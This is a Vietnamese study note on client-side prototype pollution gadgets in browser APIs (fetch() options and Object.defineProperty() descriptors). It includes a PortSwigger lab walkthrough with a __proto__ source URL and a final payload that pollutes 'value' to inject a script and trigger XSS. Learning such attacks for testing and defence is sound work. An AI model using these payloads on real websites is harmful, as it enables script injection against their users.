Bạn có thể ngạc nhiên khi biết rằng có một số gadget prototype pollution phổ biến trong các API JavaScript thường được cung cấp trong trình duyệt.

Prototype Pollution via fetch()

fetch('https://normal-website.com/my-account/change-email', {
    method: 'POST',
    body: 'user=carlos&email=carlos%40ginandjuice.shop'
})

Như chúng ta có thể thấy, chúng ta đã định nghĩa rõ ràng các thuộc tính methodbody, nhưng có một số thuộc tính khác có thể có mà chúng ta đã để không xác định. Trong trường hợp này, nếu kẻ tấn công có thể tìm thấy một nguồn phù hợp, họ có thể có khả năng làm ô nhiễm Object.prototype bằng thuộc tính headers của riêng họ. Thuộc tính này sau đó có thể được kế thừa bởi đối tượng tùy chọn được truyền vào fetch() và sau đó được sử dụng để tạo request.

Chúng ta có thể sử dụng kỹ thuật này để kiểm soát bất kỳ thuộc tính không xác định nào của đối tượng tùy chọn được truyền cho fetch(). Điều này có thể cho phép chúng ta thêm một body độc hại vào request, chẳng hạn.

Prototype Pollution via Object.defineProperty()

Các nhà phát triển có một số kiến thức về prototype pollution có thể cố gắng chặn các gadget tiềm năng bằng cách sử dụng phương thức Object.defineProperty():

Object.defineProperty(vulnerableObject, 'gadgetProperty', {
    configurable: false,
    writable: false
})

Như chúng ta có thể thấy, Object.defineProperty() chấp nhận một đối tượng tùy chọn, được gọi là “descriptor”.

Trong số những thứ khác, các nhà phát triển có thể sử dụng đối tượng descriptor này để đặt một giá trị ban đầu cho thuộc tính đang được định nghĩa. Tuy nhiên, nếu lý do duy nhất mà họ đang định nghĩa thuộc tính này là để bảo vệ chống lại prototype pollution, họ có thể không bận tâm đến việc đặt một giá trị nào cả.

Kẻ tấn công có thể có khả năng vượt qua sự phòng thủ này bằng cách làm ô nhiễm Object.prototype bằng một thuộc tính value độc hại.

Lab: Client-side Prototype Pollution via Browser APIs

Tìm thấy một nguồn trong tham số search:

/?search=hello&__proto__[testproperty]=DOM_INVADER_PP_POC

Các nhà phát triển đã vá thuộc tính gadget trong tệp searchLoggerConfigurable.js:

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
 
window.addEventListener("load", searchLogger);

Payload:

/?search=hello&__proto__[value]=data:,alert('xss')
list
from outgoing([[Port Swigger - Prototype Pollution via Browser APIs]])
sort file.ctime asc

Resources